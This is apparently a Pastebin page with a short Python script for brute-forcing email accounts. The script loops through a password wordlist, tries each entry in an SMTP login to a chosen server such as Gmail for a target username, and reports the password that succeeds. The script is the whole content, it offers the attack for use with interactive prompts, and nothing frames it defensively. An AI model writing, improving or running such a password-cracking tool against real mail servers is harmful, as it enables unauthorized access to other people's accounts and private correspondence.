Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import smtplib,os
- def startcrack(host,user,passfile,port=587):
- server=smtplib.SMTP(host,587)
- server.starttls()
- for line in passfile :
- password=line.rstrip('\n')
- try:
- server.login(user,password)
- print('Password is '+password)
- server.close()
- break
- except:
- print(password+' is not the password')
- flag=0
- decision=1
- while decision==1:
- host=input('''Enter the host server smtp link
- Example: For gmail it is "smtp.gmail.com"
- =>''')
- port=int(input('''Enter the smtp open port of the server
- Example: For gmail it is 587
- =>'''))
- user=input('Enter the username:')
- pas=input('Enter the location of password file:')
- passfile=open(pas,'r')
- startcrack(host,user,passfile,port)
- decision=int(input('1.Run again \n2.Exit \n==>'))
- if decision==2:
- exit()
Add Comment
Please, Sign In to add comment